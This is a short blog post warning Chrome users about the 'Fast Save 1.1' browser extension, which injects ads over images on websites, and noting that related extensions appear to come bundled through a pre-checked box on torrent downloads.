Fast Save 1.1 Chrome extension adding ads and causing havoc

Have you noticed in the last day or so random ads on your favorite websites? maybe you have ads on your own website that you didnt put there?
Are you using Google Chrome internet browser? if you have answered yes to these questions then you may have  fallen victim to the malicious fastsave 1.1 chrome browser extension.

What is FastSave 1.1 Chrome Browser extension?

Fast Save 1.1 is an extension in the Chrome browser that you did not install; it was automatically put on your browser like a virus but luckily it is very easy to remove.

What does Fast save 1.1 do?

Fast Save 1.1 will automatically overlay ads onto images on websites you are browsing; you may not even notice they are there because internet advertising is everywhere but if you own the website you are browsing and spot one of these ads then it is very easy to see something very fishy is going on.

Take a look at what I found when I visited Fergeeks.com tonight; this is what alerted me I had a problem with ads.

Update:

Click2save extension , fastsave extension & saveAS extension all seem to be the same thing; I found a place that is serving them, its an opt in box when you download a torrent from ISOhunt.com so if you download a torrent make sure the box is unchecked (checked by default)
I don’t download torrents; nor does my wife and yet we had this extension on our computer, no clue yet how we got it.

In light of this new information I suggest you take a look at 5 reasons why Torrents suck.
